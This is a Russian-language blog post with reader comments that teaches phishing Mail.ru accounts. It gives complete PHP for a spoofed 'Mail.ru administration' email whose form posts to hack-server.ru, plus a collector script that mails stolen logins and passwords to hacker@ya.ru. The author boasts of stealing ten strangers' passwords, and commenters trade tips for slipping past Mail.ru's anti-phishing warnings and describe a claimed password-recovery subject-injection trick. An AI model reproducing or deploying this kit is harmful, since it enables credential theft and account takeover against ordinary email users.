Взлом email. Социальная инженерия

Не буду взламывать сервер, не буду использовать sql-инъекции, не буду воровать cookies. Потому что большинство этих способов уже не работает – дыры в почтовых сервисах залатывают. Большинство статей по взлому почты безнадежно устарели. Буду использовать социальную инженерию.

Социальная инженерия - это метод несанкционированного доступа к информации или системам хранения информации без использования технических средств. Метод основан на использовании слабостей человеческого фактора и считается очень разрушительным. Злоумышленник получает информацию, например, путем сбора информации о служащих объекта атаки, с помощью обычного телефонного звонка или путем проникновения в организацию под видом ее служащего. Злоумышленник может позвонить работнику компании (под видом технической службы) и выведать пароль, сославшись на необходимость решения небольшой проблемы в компьютерной системе. Очень часто этот трюк проходит.

Пользователю приходит письмо от администрации mail.ru, в котором написано что мы переходим на новое оборудование и ваш ящик переносится на другой сервер. Поэтому вы должны подтвердить ваши данные. Чуть ниже размещена форма для ввода данных (имя, текущий пароль и т.д.). Далее пользователь заполняет форму, нажимает кнопку отправить и данные уходят на другой сервер, где сохраняются, а потом его перекидывает обратно на mail.ru. Все это проходит незаметно для пользователя. Единственная проблема чтобы пользователь поверил в правдивость письма. Для этого подделывается ящик отправителя administration@mail.ru и все фразы в тексте должны быть стандартными (вроде “благодарим Вас за понимание…”).

Подделываем письмо.

<?php
$subject="Внимание! Перенос вашего аккаунта!";
$header="Content-type: text/html; charset=windows-1251 \r\n";
$header.="From: Администрация Mail.Ru <administration@mail.ru>\r\n";
$header.="Subject: $subject \r\n";
$header.="Content-type: text/html; charset=windows-1251 \r\n";
$msg="<body>
<table width=100% height=40 cellpadding=0 cellspacing=0 class=blue  bgcolor='#00468C'>
<td class=vcor><img src=http://img.mail.ru/0.gif width=1 height=1></td>
<td class=logo><img src=http://img.mail.ru/r/blogs/prjlogo_mail.gif width=104 height=21></td>
<td width=100%> </td>
<td class=vcor><img src=http://img.mail.ru/0.gif width=1 height=1></td>
</table>
<br>
<b>Уважаемый пользователь name@mail.ru!</b><br>
От лица нашего интернет-холдинга Mail.ru мы просим извинения за причинение
вам некоторых неудобств.
В связи со сменой нашего оборудования на более новое нам нужно
перенести часть аккаунтов на новое оборудование.
Соответственно просим повторно прислать некоторую информацию о своем аккаунте.
Это нужно для предотвращения всякого рода ошибок и неточностей.<br>
<b><font color='#ff0000'>В противном случае Вы можете лишиться своего
почтового ящика!</font></b><br><br>
<b>Заполните нижеприведенную форму:</b>
<form method='post' action='http://hack-server.ru/form.php'>
<table width='400px' cellpadding=0 cellspacing=0>
<tr><td><b>Логин: </b></td><td><input type='text' name='login'>@mail.ru</td></tr>
<tr><td><b>Пароль: </b></td><td><input type='password' name='pass'></td></tr>
<tr><td><b>Подтвердите пароль: </b></td><td><input type='password' name='pass2'></td></tr>
<tr><td><b>Имя: </b></td><td><input type='text' name='name'></td></tr>
<tr><td><b>Фамилия: </b></td><td><input type='text' name='family'></td></tr>
</table>
<input type='submit' value='Отправить'>
</form>
Спасибо за то, что Вы являетесь пользователем Mail.Ru.<br>
С уважением, администрация Mail.ru
<br><br><br><br><br></body>";
mail('name@mail.ru', $subject, $msg, $header);
?>

Кстати, этим способом можно отправлять письмо от имени любого человека. В таком виде письмо придет пользователю.

взлом email

После того, как пользователь заполнил форму и отправил, содержимое формы приходит в скрипт, который вы указали в теге form. Нам лишь остается взять эти данные и перекинуть пользователя обратно.

<?php
$header="Content-type: text/html; charset=windows-1251 \r\n";
$header.="Content-type: text/html; charset=windows-1251 \r\n";    

$msg = $_POST['login'];
$subject  = 'логин: '.$_POST['login'].'<br>';
$subject .= 'пароль: '.$_POST['pass'].'<br>';
$subject .= 'имя: '.$_POST['name'].'<br>';
$subject .= 'фамалия: '.$_POST['family'];    

mail("hacker@ya.ru", $msg, $subject, $header);
$location = $_SERVER['HTTP_REFERER'];
header("Location: http://win.mail.ru/cgi-bin/start?top=1");
?>

Как видно нам необходим сервер, с которого нужно отправить письмо и обработать форму. Я регистрировал сайт на бесплатном хостинге с php. Сейчас этот хостинг закрылся, но если поискать, то найти бесплатный хостинг с php можно.

Тестирование. Тренироваться будем на кошках. Я решил взять 10 случайных девочек. Почтовые адреса можно взять на mail-ответы. Все ящики открыты. Нужно лишь навести курсор на иконку mail-агента.

взлом email

Отправил письма. К вечеру все 10 паролей были у меня.

Разумеется, данный способ рассчитан на простых пользователей. Тем не менее, до сих пор работают нигерийские письма, так что будьте бдительны!

#1

уха-ха похлеще анекдотов, Серёга, вариант с девушками просто портясающий.
Правда телефонные звонки - это большой гемор, да и проканает с гораздо меньшим успехом.

Cheman, 5.04.2008 - 01:02
#2

10 из 10? :) Вверх эффективности.

На свиданки так же разводить.

GogA, 3.12.2008 - 03:57
#3

а куда логи созраняються вот я залил на сервер,отправил письмо,ввёл данные нажал отправить он выполнил скрипт и я оказался в ящике а куда пароль сохранился?

xxx, 10.02.2009 - 14:05
#4

mail("hacker@ya.ru", $msg, $subject, $header);

пароль улеттел на почту hacker@ya.ru

admin, 10.02.2009 - 14:33
#5

Чет тут туповато описано,написанно только коды а вот че с ними нужно делать нет создавать страницы или чего

Aleksey, 14.03.2009 - 17:25
#6

да ваще тупая статья закорючки какие-то куда их вставлять-то нада или чего

ууу, 23.03.2009 - 10:52
#7

статья написана для тех кто знает немного PHP

admin, 24.03.2009 - 01:50
#8

Кто-нибудь знает как решить такую проблему: делаю все как надо, и работает, и пароль присылается, но! Пробовал на своем же собственном ящике все это делать. И на mail.ru в конце письма вставляется надпись красными буквами, что типа администрация mail.ru никогда не требует прислать пароль от ящика и т.д. и т.п. и не попадайтесь на уловки мошенников. Как можно схитрить, чтобы эта надпись не появлялась?

Михаил, 25.03.2009 - 02:30
#9

Видимо уже закрыли эту "дырку". Этот способ я пробовал 2 года назад.

Нужно экспериментировать с текстом. Они на автомате смотрят в письме наличие опасных слов. Нужно убрать оттуда фразы "Администрация mail.ru", "выслать пароль" и др. Можно заменить их на "безобидные" синонимы или на английский язык.

admin, 25.03.2009 - 02:37
#10

Вроде как получилось, хотя и с некоторыми потерями. Долго экспериментировал и пришел к такому варианту. Во-первых, нужно заменить в тексте формы надписи "Пароль" и "Подтвердите пароль" на картинки с этими надписями, сделанные через принт скрин и пэйнт. Во-вторых, нужно заменить в коде странцицы в полях "Пароль" и "Подтвердите пароль" type='password' на type='text'. Правда при этом не будут появляться звездочки при вводе пароля, а все будет открытым текстом вводится, что уменьшает правдоподобность, но по другому я пока не придумал. В-третьих, нужно заменить в этих же строчках name='pass' и name='pass2' на name='pole' и name='pole2'. Конечно можно и не pole, а все что в голову прийдет, лишь бы не pass.:-) И, наконец, в-четвертых, в файле form.php также заменить в строчке $subject .= 'пароль: '.$_POST['pass'].''; слово pass на pole. Таким образом мэйл.ру никаких комментариев не вставляет.

Михаил, 26.03.2009 - 04:09
#11

Кстати, удобно все это делать в программе Mozilla Thunderbird. Редактировать удобно, да и HTML вставляет без проблем.

Михаил, 26.03.2009 - 04:11
#12

Михаил, а можно както с вами связаться, дабы вы проинструктировали меня по этой теме?

Sega, 29.03.2009 - 19:26
#13

Да я и сам не особо знаток, просто кое-как разобрался. А что конкретно вам непонятно? Пишите прямо здесь, чем смогу помогу.

Михаил, 30.03.2009 - 14:04
#14

а куда этот весь код вписывать? и можете точнее написать для чайников, не фига не понял.

андрей, 27.06.2009 - 14:07
#15

Нужно создать php-страницу и запустить ее.
Если ты не знаешь как это делать, то данная статья не для тебя.

admin, 27.06.2009 - 14:13
#16

я видел как один парень не буду говорить это слово скажу так открыл не законно почту, без писем, не то что здесь ждешь пока придет письмо, а он быстро, он знал только адрес почты человека, зашел меню пуск там есть кнопка выполнить он нажал , а дальше я не знаю что он набрал там, пароль сразу пришел, Может кто знает как быстро узнать пароль на почту?. Подскажите.

андрей, 30.06.2009 - 22:39
#17

люди ув меня не получаеться просто нажимаю отправить письмо пишу кому отправил и мне текс приходит со всякими закарчками ну такойже как даёт нам автор статьи как зделать так что быон пришёл нормально и от администрации маил ру

Flash, 3.08.2009 - 07:07
#18

Почему то у меня не перебрасывает пользователя обратно к нему на http://win.mail.ru/cgi-bin/start?top=1

Den, 9.08.2009 - 01:16
#19

Как избавиться от ява скрипта? У меня все получается, о чем здесь написал автор. Проблема в том что когда жертва жмент отправить выскакивает ява скрипт, который предупреждает что данные с формы полетят на такой .... сайт. Как зделать чтобы этот скрипт обойти?

Den, 10.08.2009 - 07:41
#20

#19 Скорее всего уже никак. Эту дырку прикрыли путем предупреждения пользователя. Остается надеяться, что пользоватлель нажмет кнопку ОК.

admin, 10.08.2009 - 08:29
#21

Взлом почты на Mail.ru Всё очень просто. По адресу pass_recowery@mail.ru сидит mail-робот, который
анализирует запросы на восстановление пароля и в зависимости от этого либо уточняет ваши данные, либо сразу
шлет пароль. На сайте есть форма для заполнения с всевозможными параметрами, которая потом шлется роботу со
специальным Subject'ом. Фишка в том, что если в сабжект впихнуть не один, а два запроса, то проверятся
будет последний ящик, а информация будет выслана для второго! Так шевелим мозгами... Правильно! Высылаем
два запроса: в одном сообщаем инфу о ящике жертве, во втором инфу о своем (о своем то мы все знаем ;) )
Итак, мы хотим обломать vasya_pupkin@mail.ru
Наш ящик hacker@mail.ru пароль qwerty
Пишем письмо роботу на pasword_remind@mail.ru
Subject: login=vasya_pupkin&pass=&answer=;login=hacker&pass=qwerty&answer=
Т.е. первый раз вставляем в тему письма запрос о ящике-жертве: login=vasya_pupkin&pass=&answer=
А потом, через точку с запятой второй запрос, с вашими данными, которые робот проверит и убедится, что они
правильные!
login=hacker&pass=qwerty&answer=
Итого: тема сообщения выглядит вот так :
login=vasya_pupkin&pass=&answer=;login=hacker&pass=qwerty&answer=
Все, ждите пасс на ваше мыло!!! (Answer = ответ на секретный вопрос, но прокатывает и без него, запросы
разделяются точкой с запятой.

саша, 18.08.2010 - 16:20
#22

не катит уже, mail.ru распознаёт action=''
и даёт предупреждение что типо не вводите данные

саша, 9.12.2010 - 03:22
#23

А как ты вообще на его ящик попал? Вот я проверил на своём ящике,всё ввёл пвильно,а как потом я смогу попать на тот ящик,чью информацию ввёл?И как ты вообще оказался в почте пользователя? или это уже не работает?

#3, 24.03.2011 - 14:32
 
английский язык для начинающих
Ашманов Египет Москва РХТУ Россия США Снежинск Таиланд Тушино Урал Челябинская область Яндекс алкоголь английский язык баги база данных безопасность бизнес блоги взлом видео выставка выходные горные лыжи дайвинг дауншифтинг допинг идиотизм инвентарь интернет книги кэширование мозг море музей ноутбук образование оптимизация отдых отпуск пароль плагин пора сваливать программирование программисты путешествия работа работоспособность радиация реклама самогоноварение собеседование социальные сети спам стартап статистика страны тайм-менеджмент техника учеба фантастика фото фриланс хакер экология электронные деньги юмор Ajax CMS DbSimple DDOS email FireFox Google honda htaccess HTML javascript jQuery life md5 MySQL PHP SEO soft SQL vkontakte Web web 2.0 wordpress